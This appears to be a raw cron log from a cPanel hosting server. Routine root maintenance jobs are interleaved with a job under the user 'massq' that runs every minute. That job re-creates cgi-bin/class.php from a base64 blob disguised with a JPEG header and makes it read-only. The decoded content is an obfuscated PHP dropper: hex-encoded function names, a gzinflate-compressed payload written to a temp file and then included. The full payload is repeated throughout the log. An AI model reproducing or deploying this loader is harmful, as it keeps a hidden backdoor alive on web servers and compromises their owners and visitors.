Sep  7 15:54:01 server CROND[1288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:55:01 server CROND[1770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:55:01 server CROND[1773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:55:01 server CROND[1772]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:55:01 server CROND[1776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:55:01 server CROND[1775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:55:01 server CROND[1779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:55:01 server CROND[1774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:56:01 server CROND[2734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:56:01 server CROND[2735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:56:01 server CROND[2736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:57:01 server CROND[3111]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 15:57:01 server CROND[3113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:57:01 server CROND[3112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:57:01 server CROND[3115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:58:01 server CROND[3495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:58:01 server CROND[3496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:58:01 server CROND[3497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:59:01 server CROND[3970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:59:01 server CROND[3971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:59:01 server CROND[3972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:00:01 server CROND[4364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:00:01 server CROND[4367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:00:01 server CROND[4370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:00:01 server CROND[4373]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:00:01 server CROND[4374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:00:01 server CROND[4375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:00:01 server CROND[4378]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 16:00:01 server CROND[4379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:00:01 server CROND[4372]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 16:00:01 server CROND[4380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:01:01 server CROND[5249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:01:01 server CROND[5251]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 16:01:01 server CROND[5250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:01:01 server CROND[5252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:01:01 server run-parts(/etc/cron.hourly)[5251]: starting 0anacron
Sep  7 16:01:01 server run-parts(/etc/cron.hourly)[5271]: finished 0anacron
Sep  7 16:02:01 server CROND[5646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:02:01 server CROND[5647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:02:01 server CROND[5648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:03:01 server CROND[6039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:03:01 server CROND[6040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:03:01 server CROND[6041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:04:01 server CROND[6444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:04:01 server CROND[6445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:04:01 server CROND[6443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:05:01 server CROND[6932]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:05:01 server CROND[6936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:05:01 server CROND[6937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:05:01 server CROND[6935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:05:01 server CROND[6938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
